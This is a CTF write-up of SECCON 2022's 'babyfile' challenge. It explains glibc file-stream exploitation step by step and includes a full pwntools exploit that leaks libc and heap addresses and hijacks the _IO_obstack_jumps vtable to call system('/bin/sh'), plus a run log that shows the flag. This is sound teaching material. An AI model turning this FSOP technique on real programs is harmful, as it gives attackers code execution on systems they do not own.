[SECCON CTF 2022 Quals] babyfile

Introduction

babyfile is a file stream exploitation I did during the SECCON CTF 2022 Quals event. I didn’t succeed to flag it within the 24 hours :(. But anyway I hope this write up will be interesting to read given I show another way to gain code execution – I have not seen before – based on _IO_obstack_jumps! The related files can be found here. If you’re not familiar with file stream internals, I advice you to read my previous writeups about file stream exploitation, especially this one and this other one.

TL;DR

  • Populate base buffer with heap addresses with the help of _IO_file_doallocate.
  • Make both input and output buffer equal to the base buffer with the help of _IO_file_underflow.
  • Partial overwrite on right pointers to get a libc leak by simply flushing the file stream.
  • Leak a heap address by printing a pointer stored within the main_arena.
  • _IO_obstack_overflow ends up calling a function pointer stored within the file stream we have control over which leads to a call primitive (plus control over the first argument). Then I just called system("/bin/sh\x00").

What we have

The challenge is basically opening /dev/null, asking for an offset and a value to write at fp + offset. And we can freely flush fp. The source code is prodided:

Source code:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

static int menu(void);
static int getnline(char *buf, int size);
static int getint(void);

#define write_str(s) write(STDOUT_FILENO, s, sizeof(s)-1)

int main(void){
	FILE *fp;

	alarm(30);

	write_str("Play with FILE structure\n");

	if(!(fp = fopen("/dev/null", "r"))){
		write_str("Open error");
		return -1;
	}
	fp->_wide_data = NULL;

	for(;;){
		switch(menu()){
			case 0:
				goto END;
			case 1:
				fflush(fp);
				break;
			case 2:
				{
					unsigned char ofs;
					write_str("offset: ");
					if((ofs = getint()) & 0x80)
						ofs |= 0x40;
					write_str("value: ");
					((char*)fp)[ofs] = getint();
				}
				break;
		}
		write_str("Done.\n");
	}

END:
	write_str("Bye!");
	_exit(0);
}

static int menu(void){
	write_str("\nMENU\n"
			"1. Flush\n"
			"2. Trick\n"
			"0. Exit\n"
			"> ");

	return getint();
}

static int getnline(char *buf, int size){
	int len;

	if(size <= 0 || (len = read(STDIN_FILENO, buf, size-1)) <= 0)
		return -1;

	if(buf[len-1]=='\n')
		len--;
	buf[len] = '\0';

	return len;
}

static int getint(void){
	char buf[0x10] = {};

	getnline(buf, sizeof(buf));
	return atoi(buf);
}

Exploitation ideas

I tried (in this order) to:

  • Get a libc leak by calling _IO_file_underflow to make input and output buffers equal to the base buffer that contains with the help of _IO_file_doallocate a heap address. And then flushing the file stream to leak the libc.
  • Get a heap leak by leaking a heap pointer stored within the main_arena.
  • Get an arbitrary write with a tcache dup technique, I got __free_hook as the last pointer available in the target tcache bin but I didn’t succeeded to get a shell >.<.
  • Call primitive with control over the first argument by calling _IO_obstack_overflow (part of the _IO_obstack_jumps vtable). Then it allows us to call system("/bin/sh\x00").

Libc leak

To get a libc leak we have to write on stdout a certain amount of bytes that leak a libc address. To do so we’re looking for a way to make interesting pointers appear as the base buffer to then initialize both input and output buffer to the base buffer and then do a partial overwrite on these fields to point to an area that contains libc pointers. To get heap addresses within the base buffer we can misalign the vtable in such a way that fp->vtable->sync() calls _IO_default_doallocate. Then _IO_default_doallocate is called and does some operations:

The initial state of the file stream looks like this:

0x559c0955e2a0: 0x00000000fbad2488      0x0000000000000000
0x559c0955e2b0: 0x0000000000000000      0x0000000000000000
0x559c0955e2c0: 0x0000000000000000      0x0000000000000000
0x559c0955e2d0: 0x0000000000000000      0x0000000000000000
0x559c0955e2e0: 0x0000000000000000      0x0000000000000000
0x559c0955e2f0: 0x0000000000000000      0x0000000000000000
0x559c0955e300: 0x0000000000000000      0x00007f99db7c05c0
0x559c0955e310: 0x0000000000000003      0x0000000000000000
0x559c0955e320: 0x0000000000000000      0x0000559c0955e380
0x559c0955e330: 0xffffffffffffffff      0x0000000000000000
0x559c0955e340: 0x0000000000000000      0x0000000000000000
0x559c0955e350: 0x0000000000000000      0x0000000000000000
0x559c0955e360: 0x0000000000000000      0x0000000000000000
0x559c0955e370: 0x0000000000000000      0x00007f99db7bc4a8
0x559c0955e380: 0x0000000100000001      0x00007f99db7c6580

It initializes the base buffer to a fresh BUFSIZE allocated buffer.

int
_IO_default_doallocate (FILE *fp)
{
  char *buf;

  buf = malloc(BUFSIZ);
  if (__glibc_unlikely (buf == NULL))
    return EOF;

  _IO_setb (fp, buf, buf+BUFSIZ, 1);
  return 1;
}

0x559c0955e2a0: 0x00000000fbad2488      0x0000000000000000
0x559c0955e2b0: 0x0000000000000000      0x0000000000000000
0x559c0955e2c0: 0x0000000000000000      0x0000000000000000
0x559c0955e2d0: 0x0000000000000000      0x0000559c0955e480
0x559c0955e2e0: 0x0000559c09560480      0x0000000000000000
0x559c0955e2f0: 0x0000000000000000      0x0000000000000000
0x559c0955e300: 0x0000000000000000      0x00007f99db7c05c0
0x559c0955e310: 0x0000000000000003      0x0000000000000000
0x559c0955e320: 0x0000000000000000      0x0000559c0955e380
0x559c0955e330: 0xffffffffffffffff      0x0000000000000000
0x559c0955e340: 0x0000000000000000      0x0000000000000000
0x559c0955e350: 0x0000000000000000      0x0000000000000000
0x559c0955e360: 0x0000000000000000      0x0000000000000000
0x559c0955e370: 0x0000000000000000      0x00007f99db7bc4a8
0x559c0955e380: 0x0000000100000001      0x00007f99db7c6580

Once we have a valid pointer into the base buffer, we try to get into both the input and output buffer the base pointer. Given the input / output buffer are NULL and that fp->flags is 0xfbad1800 | 0x8000 (plus 0x8000 => _IO_USER_LOCK to not stuck into fflush), we do not have issues with the checks. The issue with the _IO_SYSREAD call is described in the code below.

int
_IO_new_file_underflow (FILE *fp)
{
  ssize_t count;

  /* C99 requires EOF to be "sticky".  */
  if (fp->_flags & _IO_EOF_SEEN)
    return EOF;

  if (fp->_flags & _IO_NO_READS)
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  if (fp->_IO_read_ptr < fp->_IO_read_end)
    return *(unsigned char *) fp->_IO_read_ptr;

  if (fp->_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp->_IO_save_base != NULL)
	{
	  free (fp->_IO_save_base);
	  fp->_flags &= ~_IO_IN_BACKUP;
	}
      _IO_doallocbuf (fp);
    }

  /* FIXME This can/should be moved to genops ?? */
  if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
    {
      /* We used to flush all line-buffered stream.  This really isn't
	 required by any standard.  My recollection is that
	 traditional Unix systems did this for stdout.  stderr better
	 not be line buffered.  So we do just that here
	 explicitly.  --drepper */
      _IO_acquire_lock (stdout);

      if ((stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
	  == (_IO_LINKED | _IO_LINE_BUF))
	_IO_OVERFLOW (stdout, EOF);

      _IO_release_lock (stdout);
    }

  _IO_switch_to_get_mode (fp);

  /* This is very tricky. We have to adjust those
     pointers before we call _IO_SYSREAD () since
     we may longjump () out while waiting for
     input. Those pointers may be screwed up. H.J. */
  fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
  fp->_IO_read_end = fp->_IO_buf_base;
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
    = fp->_IO_buf_base;

  /* Given the vtable is misaligned, _IO_SYSREAD will call 
  _IO_default_pbackfail, the code is given after _IO_new_file_underflow */
  count = _IO_SYSREAD (fp, fp->_IO_buf_base,
		       fp->_IO_buf_end - fp->_IO_buf_base);


  if (count <= 0)
    {
      if (count == 0)
	fp->_flags |= _IO_EOF_SEEN;
      else
	fp->_flags |= _IO_ERR_SEEN, count = 0;
  }
  fp->_IO_read_end += count;
  if (count == 0)
    {
      /* If a stream is read to EOF, the calling application may switch active
	 handles.  As a result, our offset cache would no longer be valid, so
	 unset it.  */
      fp->_offset = _IO_pos_BAD;
      return EOF;
    }
  if (fp->_offset != _IO_pos_BAD)
    _IO_pos_adjust (fp->_offset, count);
  return *(unsigned char *) fp->_IO_read_ptr;
}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)

int
_IO_default_pbackfail (FILE *fp, int c)
{
  if (fp->_IO_read_ptr > fp->_IO_read_base && !_IO_in_backup (fp)
      && (unsigned char) fp->_IO_read_ptr[-1] == c)
    --fp->_IO_read_ptr;
  else
    {
      /* Need to handle a filebuf in write mode (switch to read mode). FIXME!*/
      if (!_IO_in_backup (fp))
	{
	  /* We need to keep the invariant that the main get area
	     logically follows the backup area.  */
	  if (fp->_IO_read_ptr > fp->_IO_read_base && _IO_have_backup (fp))
	    {
	      if (save_for_backup (fp, fp->_IO_read_ptr))
		return EOF;
	    }
	  else if (!_IO_have_backup (fp))
	    {
        // !! We should take this path cuz there is no save buffer plus we do not have the backup flag
	      /* No backup buffer: allocate one. */
	      /* Use nshort buffer, if unused? (probably not)  FIXME */
	      int backup_size = 128;
	      char *bbuf = (char *) malloc (backup_size);
	      if (bbuf == NULL)
		return EOF;
	      fp->_IO_save_base = bbuf;
	      fp->_IO_save_end = fp->_IO_save_base + backup_size;
	      fp->_IO_backup_base = fp->_IO_save_end;
	    }
	  fp->_IO_read_base = fp->_IO_read_ptr;
	  _IO_switch_to_backup_area (fp);
	}
      else if (fp->_IO_read_ptr <= fp->_IO_read_base)
	{
	  /* Increase size of existing backup buffer. */
	  size_t new_size;
	  size_t old_size = fp->_IO_read_end - fp->_IO_read_base;
	  char *new_buf;
	  new_size = 2 * old_size;
	  new_buf = (char *) malloc (new_size);
	  if (new_buf == NULL)
            return EOF;
	  memcpy (new_buf + (new_size - old_size), fp->_IO_read_base,
		  old_size);
	  free (fp->_IO_read_base);
	  _IO_setg (fp, new_buf, new_buf + (new_size - old_size),
		    new_buf + new_size);
	  fp->_IO_backup_base = fp->_IO_read_ptr;
	}

      *--fp->_IO_read_ptr = c;
    }
  return (unsigned char) c;
}
libc_hidden_def (_IO_default_pbackfail)
0x559c0955e2a0: 0x00000000fbad2588      0x0000559c0956050f
0x559c0955e2b0: 0x0000559c09560590      0x0000559c09560490
0x559c0955e2c0: 0x0000559c0955e480      0x0000559c0955e480
0x559c0955e2d0: 0x0000559c0955e480      0x0000559c0955e480
0x559c0955e2e0: 0x0000559c09560480      0x0000559c0955e480
0x559c0955e2f0: 0x0000559c09560510      0x0000559c0955e480
0x559c0955e300: 0x0000000000000000      0x00007f99db7c05c0
0x559c0955e310: 0x0000000000000003      0x0000000000000000
0x559c0955e320: 0x0000000000000000      0x0000559c0955e380
0x559c0955e330: 0xffffffffffffffff      0x0000000000000000
0x559c0955e340: 0x0000000000000000      0x0000000000000000
0x559c0955e350: 0x0000000000000000      0x0000000000000000
0x559c0955e360: 0x0000000000000000      0x0000000000000000
0x559c0955e370: 0x0000000000000000      0x00007f99db7bc460
0x559c0955e380: 0x0000000100000001      0x00007f99db7c6580

Once we have the pointers at the right place, we can simply do some partial overwrites to the portion of the heap that contains a libc pointer. Indeed by taking a look at the memory at fp->_IO_base_buffer & ~0xff (to avoid 4 bits bruteforce) we can that we can directly reach a libc pointer:

0x5649e8077400: 0x0000000000000000      0x0000000000000000
0x5649e8077410: 0x0000000000000000      0x0000000000000000
0x5649e8077420: 0x0000000000000000      0x0000000000000000
0x5649e8077430: 0x0000000000000000      0x0000000000000000
0x5649e8077440: 0x0000000000000000      0x0000000000000000
0x5649e8077450: 0x0000000000000000      0x0000000000000000
0x5649e8077460: 0x0000000000000000      0x0000000000000000
0x5649e8077470: 0x00007f4092dc3f60      0x0000000000002011
0x5649e8077480: 0x0000000000000000      0x0000000000000000
0x5649e8077490: 0x0000000000000000      0x0000000000000000

Then we have to actually doing the partial overwrite by corrupting certain pointers to leak this address with the help of _IO_fflush:

int
_IO_fflush (FILE *fp)
{
  if (fp == NULL)
    return _IO_flush_all ();
  else
    {
      int result;
      CHECK_FILE (fp, EOF);
      _IO_acquire_lock (fp);
      result = _IO_SYNC (fp) ? EOF : 0;
      _IO_release_lock (fp);
      return result;
    }
}
libc_hidden_def (_IO_fflush)

It ends up calling _IO_new_file_sync(fp):

int
_IO_new_file_sync (FILE *fp)
{
  ssize_t delta;
  int retval = 0;

  /*    char* ptr = cur_ptr(); */
  if (fp->_IO_write_ptr > fp->_IO_write_base)
    if (_IO_do_flush(fp)) return EOF;
  delta = fp->_IO_read_ptr - fp->_IO_read_end;
  if (delta != 0)
    {
      off64_t new_pos = _IO_SYSSEEK (fp, delta, 1);
      if (new_pos != (off64_t) EOF)
	fp->_IO_read_end = fp->_IO_read_ptr;
      else if (errno == ESPIPE)
	; /* Ignore error from unseekable devices. */
      else
	retval = EOF;
    }
  if (retval != EOF)
    fp->_offset = _IO_pos_BAD;
  /* FIXME: Cleanup - can this be shared? */
  /*    setg(base(), ptr, ptr); */
  return retval;
}
libc_hidden_ver (_IO_new_file_sync, _IO_file_sync)

I already talked about the way we can gain arbitrary read with FSOP attack on stdout in this article. The way we will get a leak is almost the same, first we need to trigger the first condition in _IO_new_file_sync in such a way that fp->_IO_write_ptr > fp->_IO_write_base will trigger _IO_do_flush(fp). Then _IO_do_flush triggers the classic code path I dump right below. I will not comment all of it, the only thing you have to remind is that given most of the buffers are already initialized to a valid heap address beyond the target we do not have to rewrite them, this way we will significantly reduce the amount of partial overwrite.

#define _IO_do_flush(_f) \
  ((_f)->_mode <= 0							      \
   ? _IO_do_write(_f, (_f)->_IO_write_base,				      \
		  (_f)->_IO_write_ptr-(_f)->_IO_write_base)		      \
   : _IO_wdo_write(_f, (_f)->_wide_data->_IO_write_base,		      \
		   ((_f)->_wide_data->_IO_write_ptr			      \
		    - (_f)->_wide_data->_IO_write_base)))

Condition: (_f)->_IO_write_ptr-(_f)->_IO_write_base) >= sizeof(uint8_t* ), (_f)->_IO_write_base == target.

int
_IO_new_do_write (FILE *fp, const char *data, size_t to_do)
{
  return (to_do == 0
	  || (size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}
libc_hidden_ver (_IO_new_do_write, _IO_do_write)
static size_t
new_do_write (FILE *fp, const char *data, size_t to_do)
{
  size_t count;
  if (fp->_flags & _IO_IS_APPENDING)
    /* On a system without a proper O_APPEND implementation,
       you would need to sys_seek(0, SEEK_END) here, but is
       not needed nor desirable for Unix- or Posix-like systems.
       Instead, just indicate that offset (before and after) is
       unpredictable. */
    fp->_offset = _IO_pos_BAD;
  else if (fp->_IO_read_end != fp->_IO_write_base)
    {
      off64_t new_pos
	= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
      if (new_pos == _IO_pos_BAD)
	return 0;
      fp->_offset = new_pos;
    }
  count = _IO_SYSWRITE (fp, data, to_do);
  if (fp->_cur_column && count)
    fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
  _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
  fp->_IO_write_end = (fp->_mode <= 0
		       && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
		       ? fp->_IO_buf_base : fp->_IO_buf_end);
  return count;
}

Note: Given fp->_IO_read_end != fp->_IO_write_base, fp->_IO_read_end is the save buffer that has been allocated and switched in _IO_default_pbackfail and that _IO_write_base contains the target memory area, we have to include the _IO_IS_APPENDING flag into fp->_flags to avoid the _IO_SYSSEEK which would fail and then return. Therefore we can finally reach the _IO_SYSWRITE that will leak the libc pointer.

The leak phase gives for me something like this:

# do_allocate
partial_write(pwn.p8(0xa8), File.vtable)
fflush()

# _IO_file_underflow => _IO_default_pbackfail
partial_write(pwn.p8(0x60), File.vtable)
fflush()

write_ptr(pwn.p64(0xfbad1800 | 0x8000), File.flags)

partial_write(pwn.p8(0x70), File._IO_write_base)

partial_write(pwn.p8(0x78), File._IO_write_ptr)
partial_write(pwn.p8(0xa0), File.vtable)
write_ptr(pwn.p64(1), File.fileno)
fflush()

leak = pwn.u64(io.recv(8).ljust(8, b"\x00")) - 0x2160c0 + 0x2d160
pwn.log.info(f"libc: {hex(leak)}")

Heap leak

To use the _IO_obstack_jumps technique, we have to craft a custom obstack structure on the heap (right on our filestream in fact) and thus we need to leak the heap to be able reference it. But given we already have a libc leak that’s very easy, within the main_arena are stored some heap pointers, which means we just have to use the same _IO_fflush trick to flush the filestream and then leak a heap pointer stored in the main_arena. I wrote a function that leaks directly the right pointer from a given address:

def leak_ptr(ptr: bytes) -> int:
    """
    We assume flags are right
    """

    write_ptr(ptr, File._IO_write_base)
    
    dest = (int.from_bytes(ptr, byteorder="little")+8).to_bytes(8, byteorder='little')

    write_ptr(dest, File._IO_write_ptr)

    fflush()
    ret = pwn.u64(io.recv(8).ljust(8, b"\x00"))

    return ret

"""
[...]
"""

leak_main_arena = leak + 0x1ed5a0

heap = leak_ptr(pwn.p64(leak_main_arena)) - 0x2a0
pwn.log.info(f"heap: {hex(heap)}")

obstack exploitation

As far I know, obstack has never been used in CTF even though it can be leveraged as a very good call primitive (and as said before it needs a heap and libc to be used). Basically, the _IO_obstack_jumps vtable looks like this:

/* the jump table.  */
const struct _IO_jump_t _IO_obstack_jumps libio_vtable attribute_hidden =
{
    JUMP_INIT_DUMMY,
    JUMP_INIT(finish, NULL),
    JUMP_INIT(overflow, _IO_obstack_overflow),
    JUMP_INIT(underflow, NULL),
    JUMP_INIT(uflow, NULL),
    JUMP_INIT(pbackfail, NULL),
    JUMP_INIT(xsputn, _IO_obstack_xsputn),
    JUMP_INIT(xsgetn, NULL),
    JUMP_INIT(seekoff, NULL),
    JUMP_INIT(seekpos, NULL),
    JUMP_INIT(setbuf, NULL),
    JUMP_INIT(sync, NULL),
    JUMP_INIT(doallocate, NULL),
    JUMP_INIT(read, NULL),
    JUMP_INIT(write, NULL),
    JUMP_INIT(seek, NULL),
    JUMP_INIT(close, NULL),
    JUMP_INIT(stat, NULL),
    JUMP_INIT(showmanyc, NULL),
    JUMP_INIT(imbue, NULL)
};

Given when _IO_SYNC is called in _IO_fflush the second argument is 0x1, we cannot call functions like _IO_obstack_xsputn that need buffer as arguments, that’s the reason why we have to dig into _IO_obstack_overflow.

static int
_IO_obstack_overflow (FILE *fp, int c)
{
  struct obstack *obstack = ((struct _IO_obstack_file *) fp)->obstack;
  int size;

  /* Make room for another character.  This might as well allocate a
     new chunk a memory and moves the old contents over.  */
  assert (c != EOF);
  obstack_1grow (obstack, c);

  /* Setup the buffer pointers again.  */
  fp->_IO_write_base = obstack_base (obstack);
  fp->_IO_write_ptr = obstack_next_free (obstack);
  size = obstack_room (obstack);
  fp->_IO_write_end = fp->_IO_write_ptr + size;
  /* Now allocate the rest of the current chunk.  */
  obstack_blank_fast (obstack, size);

  return c;
}

The struct _IO_obstack_file is defined as follows:

struct _IO_obstack_file
{
  struct _IO_FILE_plus file;
  struct obstack *obstack;
};

Which means right after the vtable field within the file stream should be a pointer toward a struct obstack.

struct obstack          /* control current object in current chunk */
{
  long chunk_size;              /* preferred size to allocate chunks in */
  struct _obstack_chunk *chunk; /* address of current struct obstack_chunk */
  char *object_base;            /* address of object we are building */
  char *next_free;              /* where to add next char to current object */
  char *chunk_limit;            /* address of char after current chunk */
  union
  {
    PTR_INT_TYPE tempint;
    void *tempptr;
  } temp;                       /* Temporary for some macros.  */
  int alignment_mask;           /* Mask of alignment for each object. */
  /* These prototypes vary based on 'use_extra_arg', and we use
     casts to the prototypeless function type in all assignments,
     but having prototypes here quiets -Wstrict-prototypes.  */
  struct _obstack_chunk *(*chunkfun) (void *, long);
  void (*freefun) (void *, struct _obstack_chunk *);
  void *extra_arg;              /* first arg for chunk alloc/dealloc funcs */
  unsigned use_extra_arg : 1;     /* chunk alloc/dealloc funcs take extra arg */
  unsigned maybe_empty_object : 1; /* There is a possibility that the current
				      chunk contains a zero-length object.  This
				      prevents freeing the chunk if we allocate
				      a bigger chunk to replace it. */
  unsigned alloc_failed : 1;      /* No longer used, as we now call the failed
				     handler on error, but retained for binary
				     compatibility.  */
};

Once obstack_1grow is called, if __o->next_free + 1 > __o->chunk_limit, _obstack_newchunk gets called.

# define obstack_1grow(OBSTACK, datum)					      \
  __extension__								      \
    ({ struct obstack *__o = (OBSTACK);				      \
       if (__o->next_free + 1 > __o->chunk_limit)			      \
	 _obstack_newchunk (__o, 1);					      \
       obstack_1grow_fast (__o, datum);				      \
       (void) 0; })

Condition: __o->next_free + 1 > __o->chunk_limit.

/* Allocate a new current chunk for the obstack *H
   on the assumption that LENGTH bytes need to be added
   to the current object, or a new object of length LENGTH allocated.
   Copies any partial object from the end of the old chunk
   to the beginning of the new one.  */

void
_obstack_newchunk (struct obstack *h, int length)
{
  struct _obstack_chunk *old_chunk = h->chunk;
  struct _obstack_chunk *new_chunk;
  long new_size;
  long obj_size = h->next_free - h->object_base;
  long i;
  long already;
  char *object_base;

  /* Compute size for new chunk.  */
  new_size = (obj_size + length) + (obj_size >> 3) + h->alignment_mask + 100;
  if (new_size < h->chunk_size)
    new_size = h->chunk_size;

  /* Allocate and initialize the new chunk.  */
  new_chunk = CALL_CHUNKFUN (h, new_size);
  if (!new_chunk)
    (*obstack_alloc_failed_handler)();
  h->chunk = new_chunk;
  new_chunk->prev = old_chunk;
  new_chunk->limit = h->chunk_limit = (char *) new_chunk + new_size;

  /* Compute an aligned object_base in the new chunk */
  object_base =
    __PTR_ALIGN ((char *) new_chunk, new_chunk->contents, h->alignment_mask);

  /* Move the existing object to the new chunk.
     Word at a time is fast and is safe if the object
     is sufficiently aligned.  */
  if (h->alignment_mask + 1 >= DEFAULT_ALIGNMENT)
    {
      for (i = obj_size / sizeof (COPYING_UNIT) - 1;
	   i >= 0; i--)
	((COPYING_UNIT *) object_base)[i]
	  = ((COPYING_UNIT *) h->object_base)[i];
      /* We used to copy the odd few remaining bytes as one extra COPYING_UNIT,
	 but that can cross a page boundary on a machine
	 which does not do strict alignment for COPYING_UNITS.  */
      already = obj_size / sizeof (COPYING_UNIT) * sizeof (COPYING_UNIT);
    }
  else
    already = 0;
  /* Copy remaining bytes one by one.  */
  for (i = already; i < obj_size; i++)
    object_base[i] = h->object_base[i];

  /* If the object just copied was the only data in OLD_CHUNK,
     free that chunk and remove it from the chain.
     But not if that chunk might contain an empty object.  */
  if (!h->maybe_empty_object
      && (h->object_base
	  == __PTR_ALIGN ((char *) old_chunk, old_chunk->contents,
			  h->alignment_mask)))
    {
      new_chunk->prev = old_chunk->prev;
      CALL_FREEFUN (h, old_chunk);
    }

  h->object_base = object_base;
  h->next_free = h->object_base + obj_size;
  /* The new chunk certainly contains no empty object yet.  */
  h->maybe_empty_object = 0;
}
# ifdef _LIBC
libc_hidden_def (_obstack_newchunk)
# endif

The interesting part of the function is the call to the CALL_CHUNKFUN macro that calls a raw unencrypted function pointer referenced by the obstack structure with either a controlled argument ((h)->extra_arg) or only with the size.

# define CALL_FREEFUN(h, old_chunk) \
  do { \
      if ((h)->use_extra_arg)						      \
	(*(h)->freefun)((h)->extra_arg, (old_chunk));			      \
      else								      \
	(*(void (*)(void *))(h)->freefun)((old_chunk));		      \
    } while (0)

If I summarize, to call system("/bin/sh" we need to have:

  • __o->next_free + 1 > __o->chunk_limit
  • (h)->freefun = &system
  • (h)->extra_arg = &"/bin/sh"
  • (h)->use_extra_arg != 0

Which gives:

_IO_obstack_jumps = leak + 0x1E9260
pwn.log.info(f"_IO_obstack_jumps: {hex(_IO_obstack_jumps)}")

# edit vtable => _IO_obstack_jumps
write_ptr(pwn.p64(_IO_obstack_jumps - 8 * 9), File.vtable)
write_ptr(pwn.p64(heap + 0x2a0), File.obstack)

partial_write(pwn.p8(0xff), File._IO_read_base)

write_ptr(pwn.p64(libc.sym.system), obstack.chunkfun) # fn ptr, system
write_ptr(pwn.p64(next(libc.search(b'/bin/sh'))), obstack.extra_arg) # arg
partial_write(pwn.p8(True), obstack.use_extra_arg)

fflush()
# system("/bin/sh")

PROFIT

After optimizing a lot my exploit (my french connection sucks), here we are:

nasm@off:~/Documents/pwn/seccon/babyfile$ time python3 exploit.py REMOTE HOST=babyfile.seccon.games PORT=3157
[*] '/home/nasm/Documents/pwn/seccon/babyfile/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/nasm/Documents/pwn/seccon/babyfile/libc-2.31.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to babyfile.seccon.games on port 3157: Done
[*] libc: 0x7fe2bc538000
[*] heap: 0x55fd27776000
[*] _IO_obstack_jumps: 0x7fe2bc721260
[*] Switching to interactive mode
SECCON{r34d_4nd_wr173_4nywh3r3_w17h_f1l3_57ruc7ur3}
[*] Got EOF while reading in interactive
$

Annexes

Final exploit:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# this exploit was generated via
# 1) pwntools
# 2) ctfmate

import os
import time
import pwn


# Set up pwntools for the correct architecture
exe = pwn.context.binary = pwn.ELF('chall')
libc = pwn.context.binary = pwn.ELF('libc-2.31.so')
pwn.context.delete_corefiles = True
pwn.context.rename_corefiles = False
# pwn.context.timeout = 1000

host = pwn.args.HOST or '127.0.0.1'
port = int(pwn.args.PORT or 1337)


def local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if pwn.args.GDB:
        return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return pwn.process([exe.path] + argv, *a, **kw)


def remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = pwn.connect(host, port)
    if pwn.args.GDB:
        pwn.gdb.attach(io, gdbscript=gdbscript)
    return io


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if pwn.args.LOCAL:
        return local(argv, *a, **kw)
    else:
        return remote(argv, *a, **kw)


gdbscript = '''
source /home/nasm/Downloads/pwndbg/gdbinit.py
'''.format(**locals())

io = None
io = start()

class File:
    flags          = 0x0
    _IO_read_base  = 24
    _IO_read_end   = 0x10
    _IO_write_base = 0x20
    _IO_write_ptr  = 0x28
    _IO_write_end  = 0x30
    _IO_buf_base   = 0x38
    _IO_buf_end    = 0x40
    fileno         = 0x70
    vtable         = 0xd8
    obstack       = 0xe0

class obstack:
    chunkfun       = 56
    extra_arg      = 56+16
    use_extra_arg  = 56+16+8

def fflush():
    io.sendlineafter(b"> ", b"1")

def trick(offt, data):
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(b"offset: ", str(offt).encode())
    io.sendlineafter(b"value: ", data)

def leave():
    io.sendlineafter(b"> ", b"0")

def write_ptr(ptr: bytes, offt: int, debug=True):
    for i in range(8):
        if ptr[i]:
            trick(offt + i, str(ptr[i]).encode())

def partial_write2(ptr: bytes, offt: int):
    for i in range(2):
        trick(offt + i, str(ptr[i]).encode())

def partial_write(ptr: bytes, offt: int):
    for i in range(1):
        trick(offt + i, str(ptr[i]).encode())

def leak_ptr(ptr: bytes) -> int:
    write_ptr(ptr, File._IO_write_base)
    
    dest = (int.from_bytes(ptr, byteorder="little")+8).to_bytes(8, byteorder='little')

    write_ptr(dest, File._IO_write_ptr)

    fflush()
    ret = pwn.u64(io.recv(8).ljust(8, b"\x00"))

    return ret

def main():
    # do_allocate
    partial_write(pwn.p8(0xa8), File.vtable)
    fflush()

    # _IO_file_underflow => _IO_default_pbackfail
    partial_write(pwn.p8(0x60), File.vtable)
    fflush()

    """
    int
    _IO_default_pbackfail (FILE *fp, int c)
    => not _IO_IN_BACKUP         0x0100
    => _IO_read_base == _IO_write_ptr
    => _IO_read_end == _IO_write_ptr + 8
    => _IO_write_end = right size
    """

    write_ptr(pwn.p64(0xfbad1800 | 0x8000), File.flags)

    partial_write(pwn.p8(0x70), File._IO_write_base)

    partial_write(pwn.p8(0x78), File._IO_write_ptr)
    partial_write(pwn.p8(0xa0), File.vtable)
    write_ptr(pwn.p64(1), File.fileno)
    fflush()

    leak = pwn.u64(io.recv(8).ljust(8, b"\x00")) - 0x2160c0 + 0x2d160
    pwn.log.info(f"libc: {hex(leak)}")
    libc.address = leak

    leak_main_arena = leak + 0x1ed5a0

    heap = leak_ptr(pwn.p64(leak_main_arena)) - 0x2a0
    pwn.log.info(f"heap: {hex(heap)}")

    _IO_obstack_jumps = leak + 0x1E9260
    pwn.log.info(f"_IO_obstack_jumps: {hex(_IO_obstack_jumps)}")

    # edit vtable => _IO_obstack_jumps
    write_ptr(pwn.p64(_IO_obstack_jumps - 8 * 9), File.vtable)
    write_ptr(pwn.p64(heap + 0x2a0), File.obstack)

    partial_write(pwn.p8(0xff), File._IO_read_base)

    write_ptr(pwn.p64(libc.sym.system), obstack.chunkfun) # fn ptr, system
    write_ptr(pwn.p64(next(libc.search(b'/bin/sh'))), obstack.extra_arg) # arg
    partial_write(pwn.p8(True), obstack.use_extra_arg)

    fflush()
    # system("/bin/sh")

    io.sendline(b"cat flag-f81d1f481db83712a1128dc9b72d5503.txt")
    io.interactive()

if __name__ == "__main__":
    main()

"""
type = struct _IO_FILE {
/*      0      |       4 */    int _flags;
/* XXX  4-byte hole      */
/*      8      |       8 */    char *_IO_read_ptr;
/*     16      |       8 */    char *_IO_read_end;
/*     24      |       8 */    char *_IO_read_base;
/*     32      |       8 */    char *_IO_write_base;
/*     40      |       8 */    char *_IO_write_ptr;
/*     48      |       8 */    char *_IO_write_end;
/*     56      |       8 */    char *_IO_buf_base;
/*     64      |       8 */    char *_IO_buf_end;
/*     72      |       8 */    char *_IO_save_base;
/*     80      |       8 */    char *_IO_backup_base;
/*     88      |       8 */    char *_IO_save_end;
/*     96      |       8 */    struct _IO_marker *_markers;
/*    104      |       8 */    struct _IO_FILE *_chain;
/*    112      |       4 */    int _fileno;
/*    116      |       4 */    int _flags2;
/*    120      |       8 */    __off_t _old_offset;
/*    128      |       2 */    unsigned short _cur_column;
/*    130      |       1 */    signed char _vtable_offset;
/*    131      |       1 */    char _shortbuf[1];
/* XXX  4-byte hole      */
/*    136      |       8 */    _IO_lock_t *_lock;
